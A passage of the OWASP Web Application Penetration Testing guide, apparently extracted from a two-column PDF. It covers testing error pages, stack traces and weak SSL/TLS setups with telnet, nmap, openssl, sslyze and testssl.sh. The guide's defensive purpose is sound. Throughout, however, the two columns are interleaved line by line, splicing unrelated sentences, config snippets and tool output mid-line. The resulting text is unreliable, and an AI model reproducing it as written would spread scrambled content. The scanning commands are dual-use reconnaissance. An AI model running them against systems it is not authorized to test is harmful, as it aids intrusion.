with Suhosin-Patch at <host target> Port 80</address> servers. Errors occur in all applications, developers try to trap
... most errors but it is almost impossible to cover each and every
exception (it is however possible to configure the web server to
suppress detailed error messages from being returned to the
Test: 501 Method Not Implemented user).

IIS uses a set of custom error pages generally found in c:\winnt\


telnet <host target> 80
help\iishelp\common to display errors like ‘404 page not found’
RENAME /index.html HTTP/1.1
to the user. These default pages can be changed and custom er-
Host: <host target>
rors can be configured for IIS server. When IIS receives a request
<CRLF><CRLF>
for an aspx page, the request is passed on to the dot net frame-
work.

Result: There are various ways by which errors can be handled in dot net
framework. Errors are handled at three places in ASP .net:
HTTP/1.1 501 Method Not Implemented
• Inside Web.config customErrors section
Date: Fri, 08 Dec 2013 09:59:32 GMT
• Inside global.asax Application_Error Sub
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with
• At the the aspx or associated codebehind page in the Page_Er-
Suhosin-Patch
ror sub
Allow: GET, HEAD, POST, OPTIONS
Vary: Accept-Encoding
Handling errors using web.config
Content-Length: 299
Connection: close
Content-Type: text/html; charset=iso-8859-1 <customErrors defaultRedirect=”myerrorpagedefault.aspx”
... mode=”On|Off|RemoteOnly”>
<title>501 Method Not Implemented</title> <error statusCode=”404” redirect=”myerrorpagefor404.
... aspx”/>
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 <error statusCode=”500” redirect=”myerrorpagefor500.
with Suhosin-Patch at <host target> Port 80</address> aspx”/>
... </customErrors>

mode=”On” will turn on custom errors. mode=RemoteOnly will


Test: show custom errors to the remote web application users. A user
accessing the server locally will be presented with the complete
Enumeration of directories by using access denied error mes- stack trace and custom errors will not be shown to him.
sages:<br> All the errors, except those explicitly specified, will cause a redi-
rection to the resource specified by defaultRedirect, i.e., myer-
http://<host>/<dir> rorpagedefault.aspx. A status code 404 will be handled by myer-
rorpagefor404.aspx.
157

Web Application Penetration Testing

Handling errors in Global.asax


When an error occurs, the Application_Error sub is called. A de- The resource cannot be found.
veloper can write code for error handling/page redirection in this Description: HTTP 404. The resource you are looking for (or one
sub. of its dependencies) could have been removed, had its name

Private Sub Application_Error (ByVal sender As Object, ByVal e custom errors for .net are not configured.
As System.EventArgs)
Handles MyBase.Error Error Handling in Apache
End Sub Apache is a common HTTP server for serving HTML and PHP
web pages. By default, Apache shows the server version, prod-
ucts installed and OS system in the HTTP error responses.
Handling errors in Page_Error sub
This is similar to application error. Responses to the errors can be configured and customized glob-
ally, per site or per directory in the apache2.conf using the Error-
Private Sub Page_Error (ByVal sender As Object, ByVal e As Document directive [2]
System.EventArgs)
Handles MyBase.Error ErrorDocument 404 “Customized Not Found error message”
End Sub ErrorDocument 403 /myerrorpagefor403.html
ErrorDocument 501 http://www.externaldomain.com/errorp-
agefor501.html
Error hierarchy in ASP .net
Page_Error sub will be processed first, followed by global.asax
Application_Error sub, and, finally, customErrors section in web. Site administrators are able to manage their own errors using
config file. .htaccess file if the global directive AllowOverride is configured
properly in apache2.conf [3]
Information Gathering on web applications with server-side
technology is quite difficult, but the information discovered can The information shown by Apache in the HTTP errors can also be
be useful for the correct execution of an attempted exploit (for configured using the directives ServerTokens [4] and ServerSig-
example, SQL injection or Cross Site Scripting (XSS) attacks) and nature [5] at apache2.conf configuration file. “ServerSignature
can reduce false positives. Off” (On by default) removes the server information from the
error responses, while ServerTokens [ProductOnly|Major|Mi-
How to test for ASP.net and IIS Error Handling nor|Minimal|OS|Full] (Full by default) defines what information
Fire up your browser and type a random page name has to be shown in the error pages.

http:\\www.mywebserver.com\anyrandomname.asp Error Handling in Tomcat


Tomcat is a HTTP server to host JSP and Java Servlet applica-
tions. By default, Tomcat shows the server version in the HTTP
If the server returns error responses.

Customization of the error responses can be configured in the


The page cannot be found
configuration file web.xml.
Internet Information Services
<error-page>
<error-code>404</error-code>
<location>/myerrorpagefor404.html</location>
it means that IIS custom errors are not configured. Please note </error-page>
the .asp extension.

Also test for .net custom errors. Type a random page name with Testing for Stack Traces (OTG-ERR-002)
aspx extension in your browser Summary
Stack traces are not vulnerabilities by themselves, but they often
http:\\www.mywebserver.com\anyrandomname.aspx reveal information that is interesting to an attacker. Attackers
attempt to generate these stack traces by tampering with the
input to the web application with malformed HTTP requests and
If the server returns other input data.

Server Error in ‘/’ Application. If the application responds with stack traces that are not man-
--------------------------------------------------------------- aged it could reveal information useful to attackers. This infor-
----------------- mation could then be used in further attacks. Providing debug-
ging information as a result of operations that generate errors is
considered a bad practice due to multiple reasons. For example,
158

Web Application Penetration Testing

it may contain information on internal workings of the applica- protocol ensures not only confidentiality, but also authentica-
tion such as relative paths of the point where the application is tion. Servers are authenticated using digital certificates and it is
installed or how objects are referenced internally. also possible to use client certificate for mutual authentication.

How to Test Even if high grade ciphers are today supported and normally
Black Box testing used, some misconfiguration in the server can be used to force
There are a variety of techniques that will cause exception mes- the use of a weak cipher - or at worst no encryption - permitting
sages to be sent in an HTTP response. Note that in most cases to an attacker to gain access to the supposed secure communi-
this will be an HTML page, but exceptions can be sent as part of cation channel. Other misconfiguration can be used for a Denial
SOAP or REST responses too. of Service attack.

Some tests to try include: Common Issues


• invalid input (such as input that is not consistent with application A vulnerability occurs if the HTTP protocol is used to transmit
logic. sensitive information [2] (e.g. credentials transmitted over HTTP
• input that contains non alphanumeric characters or query syn [3]).
tax.
• empty inputs. When the SSL/TLS service is present it is good but it increments
• inputs that are too long. the attack surface and the following vulnerabilities exist:
• access to internal pages without authentication.
• bypassing application flow. • SSL/TLS protocols, ciphers, keys and renegotiation must be
properly configured.
All the above tests could lead to application errors that may con- • Certificate validity must be ensured.
tain stack traces. It is recommended to use a fuzzer in addition to
any manual testing. Other vulnerabilities linked to this are:

Some tools, such as OWASP ZAP and Burp proxy will automati- • Software exposed must be updated due to possibility of known
cally detect these exceptions in the response stream as you are vulnerabilities [4].
doing other penetration and testing work. • Usage of Secure flag for Session Cookies [5].
• Usage of HTTP Strict Transport Security (HSTS) [6].
Gray Box Testing • The presence of HTTP and HTTPS both, which can be used to
Search the code for the calls that cause an exception to be ren- intercept traffic [7], [8].
dered to a String or output stream. For example, in Java this • The presence of mixed HTTPS and HTTP content in the same
might be code in a JSP that looks like: page, which can be used to Leak information.

Sensitive data transmitted in clear-text


<% e.printStackTrace( new PrintWriter( out ) ) %>
The application should not transmit sensitive information via
unencrypted channels. Typically it is possible to find basic au-
In some cases, the stack trace will be specifically formatted into thentication over HTTP, input password or session cookie sent
HTML, so be careful of accesses to stack trace elements. via HTTP and, in general, other information considered by regu-
lations, laws or organization policy.
Search the configuration to verify error handling configuration
and the use of default error pages. For example, in Java this con- Weak SSL/TLS Ciphers/Protocols/Keys
figuration can be found in web.xml. Historically, there have been limitations set in place by the U.S.
government to allow cryptosystems to be exported only for key
Tools sizes of at most 40 bits, a key length which could be broken and
• ZAP Proxy - https://www.owasp.org/index.php/OWASP_Zed_ would allow the decryption of communications. Since then cryp-
Attack_Proxy_Project tographic export regulations have been relaxed the maximum
key size is 128 bits.
References
• [RFC2616] Hypertext Transfer Protocol - HTTP/1.1 It is important to check the SSL configuration being used to avoid
putting in place cryptographic support which could be easily de-
Testing for Weak SSL/TLS Ciphers, Insufficient feated. To reach this goal SSL-based services should not offer
Transport Layer Protection (OTG-CRYPST-001) the possibility to choose weak cipher suite. A cipher suite is spec-
Summary ified by an encryption protocol (e.g. DES, RC4, AES), the encryp-
Sensitive data must be protected when it is transmitted through tion key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g.
the network. Such data can include user credentials and credit SHA, MD5) used for integrity checking.
cards. As a rule of thumb, if data must be protected when it is
stored, it must be protected also during transmission. Briefly, the key points for the cipher suite determination are the
following:
HTTP is a clear-text protocol and it is normally secured via an
SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this [1] The client sends to the server a ClientHello message
159

Web Application Penetration Testing

specifying, among other information, the protocol and the can be customized and expanded at will). During the initial
cipher suites that it is able to handle. Note that a client is negotiations with an HTTPS server, if the server certificate
usually a web browser (most popular SSL client nowadays), but relates to a CA unknown to the browser, a warning is usually
not necessarily, since it can be any SSL-enabled application; raised. This happens most often because a web application
the same holds for the server, which needs not to be a web relies on a certificate signed by a self-established CA. Whether
server, though this is the most common case [9]. this is to be considered a concern depends on several factors.
For example, this may be fine for an Intranet environment
[2] The server responds with a ServerHello message, containing (think of corporate web email being provided via HTTPS; here,
the chosen protocol and cipher suite that will be used for that obviously all users recognize the internal CA as a trusted CA).
session (in general the server selects the strongest protocol When a service is provided to the general public via the Internet,
and cipher suite supported by both the client and server). however (i.e. when it is important to positively verify the identity
of the server we are talking to), it is usually imperative to rely on a
It is possible (for example, by means of configuration directives) trusted CA, one which is recognized by all the user base (and here
to specify which cipher suites the server will honor. In this way we stop with our considerations; we won’t delve deeper in the
you may control whether or not conversations with clients will implications of the trust model being used by digital certificates).
support 40-bit encryption only.
• Certificates have an associated period of validity, therefore
[1] The server sends its Certificate message and, if client they may expire. Again, we are warned by the browser about this.
authentication is required, also sends a CertificateRequest A public service needs a temporally valid certificate; otherwise, it
message to the client. means we are talking with a server whose certificate was issued
by someone we trust, but has expired without being renewed.
[2] The server sends a ServerHelloDone message and waits for
a client response. • What if the name on the certificate and the name of the server
do not match? If this happens, it might sound suspicious. For a
[3] Upon receipt of the ServerHelloDone message, the client number of reasons, this is not so rare to see. A system may host
verifies the validity of the server’s digital certificate. a number of name-based virtual hosts, which share the same
IP address and are identified by means of the HTTP 1.1 Host:
SSL certificate validity – client and server header information. In this case, since the SSL handshake checks
When accessing a web application via the HTTPS protocol, a se- the server certificate before the HTTP request is processed, it is
cure channel is established between the client and the server. not possible to assign different certificates to each virtual server.
The identity of one (the server) or both parties (client and server) Therefore, if the name of the site and the name reported in the
is then established by means of digital certificates. So, once the certificate do not match, we have a condition which is typically
cipher suite is determined, the “SSL Handshake” continues with signaled by the browser. To avoid this, IP-based virtual servers
the exchange of the certificates: must be used. [33] and [34] describe techniques to deal with
this problem and allow name-based virtual hosts to be correctly
[1] The server sends its Certificate message and, if client referenced.
authentication is required, also sends a CertificateRequest
message to the client. Other vulnerabilities
The presence of a new service, listening in a separate tcp port may
[2] The server sends a ServerHelloDone message and waits for introduce vulnerabilities such as infrastructure vulnerabilities if
a client response. the software is not up to date [4]. Furthermore, for the correct
protection of data during transmission the Session Cookie must
[3] Upon receipt of the ServerHelloDone message, the client use the Secure flag [5] and some directives should be sent to the
verifies the validity of the server’s digital certificate. browser to accept only secure traffic (e.g. HSTS [6], CSP).

In order for the communication to be set up, a number of checks Also there are some attacks that can be used to intercept traffic if
on the certificates must be passed. While discussing SSL and the web server exposes the application on both HTTP and HTTPS
certificate based authentication is beyond the scope of this [6], [7] or in case of mixed HTTP and HTTPS resources in the same
guide, this section will focus on the main criteria involved in as- page.
certaining certificate validity:
How to Test
• Checking if the Certificate Authority (CA) is a known one Testing for sensitive data transmitted in clear-text
(meaning one considered trusted); Various types of information which must be protected can be also
• Checking that the certificate is currently valid; transmitted in clear text. It is possible to check if this information
• Checking that the name of the site and the name reported in is transmitted over HTTP instead of HTTPS. Please refer to specif-
the certificate match. ic tests for full details, for credentials [3] and other kind of data [2].

Let’s examine each check more in detail. Example 1. Basic Authentication over HTTP
A typical example is the usage of Basic Authentication over HTTP
• Each browser comes with a pre-loaded list of trusted CAs, because with Basic Authentication, after log in, credentials are
against which the certificate signing CA is compared (this list encoded - and not encrypted - into HTTP Headers.
160

Web Application Penetration Testing

algorithms. Common interpretation, partially based on previous


$ curl -kis http://example.com/restricted/ versions of the standard, is that at least 128 bit key cipher, no
HTTP/1.1 401 Authorization Required export strength algorithms and no SSLv2 should be used [19].
Date: Fri, 01 Aug 2013 00:00:00 GMT • Qualys SSL Labs Server Rating Guide [14], Depoloyment best
WWW-Authenticate: Basic realm=”Restricted Area” practice [10] and SSL Threat Model [20] has been proposed to
Accept-Ranges: bytes standardize SSL server assessment and configuration. But is less
Vary: Accept-Encoding updated than the SSL Server tool [21].
Content-Length: 162 • OWASP has a lot of resources about SSL/TLS Security [22],
Content-Type: text/html [23], [24], [25]. [26].

<html><head><title>401 Authorization Required</title></ Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan
head> [29]) and commercial (e.g. Tenable Nessus [27]), can be used to as-
<body bgcolor=white> sess SSL/TLS vulnerabilities. But due to evolution of these vulner-
<h1>401 Authorization Required</h1> abilities a good way to test is to check them manually with openssl
[30] or use the tool’s output as an input for manual evaluation using
Invalid login credentials! the references.

</body></html> Sometimes the SSL/TLS enabled service is not directly accessible


and the tester can access it only via a HTTP proxy using CONNECT
method [36]. Most of the tools will try to connect to desired tcp port
Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabil- to start SSL/TLS handshake. This will not work since desired port is
ities accessible only via HTTP proxy. The tester can easily circumvent this
The large number of available cipher suites and quick progress by using relaying software such as socat [37].
in cryptanalysis makes testing an SSL server a non-trivial task.
Example 2. SSL service recognition via nmap
At the time of writing these criteria are widely recognized as The first step is to identify ports which have SSL/TLS wrapped ser-
minimum checklist: vices. Typically tcp ports with SSL for web and mail services are -
but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993
• Weak ciphers must not be used (e.g. less than 128 bits [10]; no (imaps), 995 (ssl-pop).
NULL ciphers suite, due to no encryption used; no Anonymous
Diffie-Hellmann, due to not provides authentication). In this example we search for SSL services using nmap with “-sV”
• Weak protocols must be disabled (e.g. SSLv2 must be disabled, option, used to identify services and it is also able to identify SSL
due to known weaknesses in protocol design [11]). services [31]. Other options are for this particular example and must
• Renegotiation must be properly configured (e.g. Insecure be customized. Often in a Web Application Penetration Test scope is
Renegotiation must be disabled, due to MiTM attacks [12] and limited to port 80 and 443.
Client-initiated Renegotiation must be disabled, due to Denial of
Service vulnerability [13]). $ nmap -sV --reason -PN -n --top-ports 100 www.example.
• No Export (EXP) level cipher suites, due to can be easly broken com
[10]. Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00
• X.509 certificates key length must be strong (e.g. if RSA or DSA CEST
is used the key must be at least 1024 bits). Nmap scan report for www.example.com (127.0.0.1)
• X.509 certificates must be signed only with secure hashing Host is up, received user-set (0.20s latency).
algoritms (e.g. not signed using MD5 hash, due to known collision Not shown: 89 filtered ports
attacks on this hash). Reason: 89 no-responses
• Keys must be generated with proper entropy (e.g, Weak Key PORT STATE SERVICE REASON VERSION
Generated with Debian) [14]. 21/tcp open ftp syn-ack Pure-FTPd
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)
A more complete checklist includes: 25/tcp open smtp syn-ack Exim smtpd 4.80
26/tcp open smtp syn-ack Exim smtpd 4.80
• Secure Renegotiation should be enabled. 80/tcp open http syn-ack
• MD5 should not be used, due to known collision attacks. [35] 110/tcp open pop3 syn-ack Dovecot pop3d
• RC4 should not be used, due to crypto-analytical attacks [15]. 143/tcp open imap syn-ack Dovecot imapd
• Server should be protected from BEAST Attack [16]. 443/tcp open ssl/http syn-ack Apache
• Server should be protected from CRIME attack, TLS compres 465/tcp open ssl/smtp syn-ack Exim smtpd 4.80
sion must be disabled [17]. 993/tcp open ssl/imap syn-ack Dovecot imapd
• Server should support Forward Secrecy [18]. 995/tcp open ssl/pop3 syn-ack Dovecot pop3d
The following standards can be used as reference while assessing Service Info: Hosts: example.com
SSL servers: Service detection performed. Please report any incorrect results
at http://nmap.org/submit/ .
• PCI-DSS v2.0 in point 4.1 requires compliant parties to use Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds
“strong cryptography” without precisely defining key lengths and
161

Web Application Penetration Testing

Example 3. Checking for Certificate information, Weak Ciphers


and SSLv2 via nmap | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
Nmap has two scripts for checking Certificate information, Weak | TLS_RSA_WITH_RC4_128_SHA - strong
Ciphers and SSLv2 [31]. | compressors:
| NULL
|_ least strength: strong
$ nmap --script ssl-cert,ssl-enum-ciphers -p 993/tcp open imaps
443,465,993,995 www.example.com | ssl-cert: Subject: commonName=*.exapmple.com
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 | Issuer: commonName=*******
CEST | Public Key type: rsa
Nmap scan report for www.example.com (127.0.0.1) | Public Key bits: 2048
Host is up (0.090s latency). | Not valid before: 2010-01-23T00:00:00+00:00
rDNS record for 127.0.0.1: www.example.com | Not valid after: 2020-02-28T23:59:59+00:00
PORT STATE SERVICE | MD5: *******
443/tcp open https |_SHA-1: *******
| ssl-cert: Subject: commonName=www.example.org | ssl-enum-ciphers:
| Issuer: commonName=******* | SSLv3:
| Public Key type: rsa | ciphers:
| Public Key bits: 1024 | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| Not valid before: 2010-01-23T00:00:00+00:00 | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| Not valid after: 2020-02-28T23:59:59+00:00 | TLS_RSA_WITH_RC4_128_SHA - strong
| MD5: ******* | compressors:
|_SHA-1: ******* | NULL
| ssl-enum-ciphers: | TLSv1.0:
| SSLv3: | ciphers:
| ciphers: | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | TLS_RSA_WITH_RC4_128_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong | compressors:
| compressors: | NULL
| NULL |_ least strength: strong
| TLSv1.0: 995/tcp open pop3s
| ciphers: | ssl-cert: Subject: commonName=*.exapmple.com
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong | Issuer: commonName=*******
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | Public Key type: rsa
| TLS_RSA_WITH_RC4_128_SHA - strong | Public Key bits: 2048
| compressors: | Not valid before: 2010-01-23T00:00:00+00:00
| NULL | Not valid after: 2020-02-28T23:59:59+00:00
|_ least strength: strong | MD5: *******
465/tcp open smtps |_SHA-1: *******
| ssl-cert: Subject: commonName=*.exapmple.com | ssl-enum-ciphers:
| Issuer: commonName=******* | SSLv3:
| Public Key type: rsa | ciphers:
| Public Key bits: 2048 | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| Not valid before: 2010-01-23T00:00:00+00:00 | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| Not valid after: 2020-02-28T23:59:59+00:00 | TLS_RSA_WITH_RC4_128_SHA - strong
| MD5: ******* | compressors:
|_SHA-1: ******* | NULL
| ssl-enum-ciphers: | TLSv1.0:
| SSLv3: | ciphers:
| ciphers: | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | TLS_RSA_WITH_RC4_128_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong | compressors:
| compressors: | NULL
| NULL |_ least strength: strong
| TLSv1.0: Nmap done: 1 IP address (1 host up) scanned in 8.64 sec-
| ciphers: onds
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
162

Web Application Penetration Testing

Example 4 Checking for Client-initiated Renegotiation and Se- Now the tester can write the first line of an HTTP request and
cure Renegotiation via openssl (manually) then R in a new line.

Openssl [30] can be used for testing manually SSL/TLS. In this HEAD / HTTP/1.1
example the tester tries to initiate a renegotiation by client [m] R
connecting to server with openssl. The tester then writes the fist
line of an HTTP request and types “R” in a new line. He then waits
for renegotiaion and completion of the HTTP request and checks Server is renegotiating
if secure renegotiaion is supported by looking at the server out-
put. Using manual requests it is also possible to see if Compres- RENEGOTIATING
sion is enabled for TLS and to check for CRIME [13], for ciphers depth=2 C******
and for other vulnerabilities. verify error:num=20:unable to get local issuer certificate
verify return:0
$ openssl s_client -connect www2.example.com:443
CONNECTED(00000003)
And the tester can complete our request, checking for response.
depth=2 ******
Even if the HEAD is not permitted, Client-intiated renegotiaion
verify error:num=20:unable to get local issuer certificate
is permitted.
verify return:0
---
Certificate chain HEAD / HTTP/1.1
0 s:******
HTTP/1.1 403 Forbidden ( The server denies the specified Uni-
i:******
form Resource Locator (URL). Contact the server administrator. )
1 s:******
Connection: close
i:******
Pragma: no-cache
2 s:****** Cache-Control: no-cache
i:****** Content-Type: text/html
--- Content-Length: 1792
Server certificate
-----BEGIN CERTIFICATE----- read:errno=0
******
-----END CERTIFICATE-----
Example 5. Testing supported Cipher Suites, BEAST and CRIME
subject=******
attacks via TestSSLServer
issuer=******
TestSSLServer [32] is a script which permits the tester to check
--- the cipher suite and also for BEAST and CRIME attacks. BEAST
No client certificate CA names sent (Browser Exploit Against SSL/TLS) exploits a vulnerability of
--- CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy)
SSL handshake has read 3558 bytes and written 640 bytes exploits a vulnerability of TLS Compression, that should be dis-
--- abled. What is interesting is that the first fix for BEAST was the
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA use of RC4, but this is now discouraged due to a crypto-analytical
Server public key is 2048 bit attack to RC4 [15].
Secure Renegotiation IS NOT supported
Compression: NONE An online tool to check for these attacks is SSL Labs, but can be used
Expansion: NONE only for internet facing servers. Also consider that target data will be
SSL-Session: stored on SSL Labs server and also will result some connection from
Protocol : TLSv1 SSL Labs server [21].
Cipher : DES-CBC3-SHA
Session-ID: ******
Session-ID-ctx: $ java -jar TestSSLServer.jar www3.example.com 443
Master-Key: ****** Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2
Key-Arg : None Deflate compression: no
PSK identity: None Supported cipher suites (ORDER IS NOT SIGNIFICANT):
PSK identity hint: None SSLv3
SRP username: None RSA_WITH_RC4_128_SHA
Start Time: ****** RSA_WITH_3DES_EDE_CBC_SHA
Timeout : 300 (sec) DHE_RSA_WITH_3DES_EDE_CBC_SHA
Verify return code: 20 (unable to get local issuer certificate) RSA_WITH_AES_128_CBC_SHA
--- DHE_RSA_WITH_AES_128_CBC_SHA
163

Web Application Penetration Testing

RSA_WITH_AES_256_CBC_SHA PluginHSTS
DHE_RSA_WITH_AES_256_CBC_SHA PluginSessionRenegotiation
RSA_WITH_CAMELLIA_128_CBC_SHA PluginCertInfo
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA PluginSessionResumption
RSA_WITH_CAMELLIA_256_CBC_SHA PluginOpenSSLCipherSuites
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA PluginCompression
TLS_RSA_WITH_SEED_CBC_SHA
TLS_DHE_RSA_WITH_SEED_CBC_SHA
(TLSv1.0: idem)
(TLSv1.1: idem) CHECKING HOST(S) AVAILABILITY
TLSv1.2 -----------------------------
RSA_WITH_RC4_128_SHA
RSA_WITH_3DES_EDE_CBC_SHA example.com:443 => 127.0.0.1:443
DHE_RSA_WITH_3DES_EDE_CBC_SHA
RSA_WITH_AES_128_CBC_SHA
DHE_RSA_WITH_AES_128_CBC_SHA
RSA_WITH_AES_256_CBC_SHA SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443
DHE_RSA_WITH_AES_256_CBC_SHA ---------------------------------------------------
RSA_WITH_AES_128_CBC_SHA256
RSA_WITH_AES_256_CBC_SHA256 * Compression :
RSA_WITH_CAMELLIA_128_CBC_SHA Compression Support: Disabled
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
DHE_RSA_WITH_AES_128_CBC_SHA256 * Session Renegotiation :
DHE_RSA_WITH_AES_256_CBC_SHA256 Client-initiated Renegotiations: Rejected
RSA_WITH_CAMELLIA_256_CBC_SHA Secure Renegotiation: Supported
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
TLS_RSA_WITH_SEED_CBC_SHA * Certificate :
TLS_DHE_RSA_WITH_SEED_CBC_SHA Validation w/ Mozilla’s CA Store: Certificate is NOT Trust-
TLS_RSA_WITH_AES_128_GCM_SHA256 ed: unable to get local issuer certificate
TLS_RSA_WITH_AES_256_GCM_SHA384 Hostname Validation: MISMATCH
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 SHA1 Fingerprint: ******
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
---------------------- Common Name: www.example.com
Server certificate(s): Issuer: ******
****** Serial Number: ****
---------------------- Not Before: Sep 26 00:00:00 2010 GMT
Minimal encryption strength: strong encryption (96-bit or Not After: Sep 26 23:59:59 2020 GMT
more)
Achievable encryption strength: strong encryption (96-bit or Signature Algorithm: sha1WithRSAEncryption
more) Key Size: 1024 bit
BEAST status: vulnerable X509v3 Subject Alternative Name: {‘othername’: [‘<un-
CRIME status: protected supported>’], ‘DNS’: [‘www.example.com’]}

* OCSP Stapling :
Example 6. Testing SSL/TLS vulnerabilities with sslyze Server did not send back an OCSP response.
Sslyze [33] is a python script which permits mass scanning and XML
output. The following is an example of a regular scan. It is one of the * Session Resumption :
most complete and versatile tools for SSL/TLS testing With Session IDs: Supported (5 successful, 0 failed,
0 errors, 5 total attempts).
With TLS Session Tickets: Supported
./sslyze.py --regular example.com:443
* SSLV2 Cipher Suites :
REGISTERING AVAILABLE PLUGINS
-----------------------------
Rejected Cipher Suite(s): Hidden
164

Web Application Penetration Testing

RC4-SHA 128 bits Timeout on HTTP GET


Preferred Cipher Suite: None
Accepted Cipher Suite(s):
Accepted Cipher Suite(s): None CAMELLIA256-SHA 256 bits HTTP 200 OK
RC4-SHA 128 bits HTTP 200 OK
Undefined - An unexpected error happened: None CAMELLIA128-SHA 128 bits HTTP 200 OK

* SSLV3 Cipher Suites : Undefined - An unexpected error happened:


ADH-CAMELLIA256-SHA socket.timeout - timed
Rejected Cipher Suite(s): Hidden out

Preferred Cipher Suite:


RC4-SHA 128 bits HTTP 200 OK
SCAN COMPLETED IN 9.68 S
Accepted Cipher Suite(s): ------------------------
CAMELLIA256-SHA 256 bits HTTP 200 OK
RC4-SHA 128 bits HTTP 200 OK
CAMELLIA128-SHA 128 bits HTTP 200 OK Example 7. Testing SSL/TLS with testssl.sh
Testssl.sh [38] is a Linux shell script which provides clear output to
facilitate good decision making. It can not only check web servers
Undefined - An unexpected error happened: None
but also services on other ports, supports STARTTLS, SNI, SPDY and
does a few check on the HTTP header as well.
* TLSV1_1 Cipher Suites :
It’s a very easy to use tool. Here’s some sample output (without col-
Rejected Cipher Suite(s): Hidden ors):

Preferred Cipher Suite: None


user@myhost: % testssl.sh owasp.org

Accepted Cipher Suite(s): None


#############################################
###########
Undefined - An unexpected error happened:
testssl.sh v2.0rc3 (https://testssl.sh)
ECDH-RSA-AES256-SHA socket.timeout - timed
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)
out
ECDH-ECDSA-AES256-SHA socket.timeout - timed
This program is free software. Redistribution +
out
modification under GPLv2 is permitted.
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!
* TLSV1_2 Cipher Suites :
Note you can only check the server against what is
Rejected Cipher Suite(s): Hidden
available (ciphers/protocols) locally on your machine
#############################################
Preferred Cipher Suite: None
###########

Accepted Cipher Suite(s): None


Using “OpenSSL 1.0.2-beta1 24 Feb 2014” on
“myhost:/<mypath>/bin/openssl64”
Undefined - An unexpected error happened:
ECDH-RSA-AES256-GCM-SHA384 socket.timeout -
timed out
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout
(“owasp.org” resolves to “192.237.166.62 /
- timed out
2001:4801:7821:77:cd2c:d9de:ff10:170e”)

* TLSV1 Cipher Suites :


--> Testing Protocols
Rejected Cipher Suite(s): Hidden
SSLv2 NOT offered (ok)
Preferred Cipher Suite:
SSLv3 offered
165

Web Application Penetration Testing

TLSv1 offered (ok) --> Testing (Perfect) Forward Secrecy (P)FS)


TLSv1.1 offered (ok)
TLSv1.2 offered (ok) no PFS available

SPDY/NPN not offered Done now (2014-04-17 15:07) ---> owasp.org:443 <---

--> Testing standard cipher lists user@myhost: %

Null Cipher NOT offered (ok)


Anonymous NULL Cipher NOT offered (ok) STARTTLS would be tested via testssl.sh -t smtp.gmail.com:587
Anonymous DH Cipher NOT offered (ok) smtp, each ciphers with testssl -e <target>, each ciphers per
40 Bit encryption NOT offered (ok) protocol with testssl -E <target>. To just display what local ci-
56 Bit encryption NOT offered (ok) phers that are installed for openssl see testssl -V. For a thorough
Export Cipher (general) NOT offered (ok) check it is best to dump the supplied OpenSSL binaries in the
Low (<=64 Bit) NOT offered (ok) path or the one of testssl.sh.
DES Cipher NOT offered (ok)
The interesting thing is if a tester looks at the sources they learn
Triple DES Cipher offered
how features are tested, see e.g. Example 4. What is even bet-
Medium grade encryption offered ter is that it does the whole handshake for heartbleed in pure /
High grade encryption offered (ok) bin/bash with /dev/tcp sockets -- no piggyback perl/python/you
name it.
--> Testing server defaults (Server Hello)
Additionally it provides a prototype (via “testssl.sh -V”) of map-
Negotiated protocol TLSv1.2 ping to RFC cipher suite names to OpenSSL ones. The tester
Negotiated cipher AES128-GCM-SHA256 needs the file mapping-rfc.txt in same directory.

Server key size 2048 bit Example 8. Testing SSL/TLS with SSL Breacher
This tool [99] is combination of several other tools plus some
TLS server extensions: server name, renegotiation info,
additional checks in complementing most comprehensive SSL
session ticket, heartbeat
tests. It supports the following checks:
Session Tickets RFC 5077 300 seconds
• HeartBleed
--> Testing specific vulnerabilities • ChangeCipherSpec Injection
• BREACH
Heartbleed (CVE-2014-0160), experimental NOT vulnerable • BEAST
(ok) • Forward Secrecy support
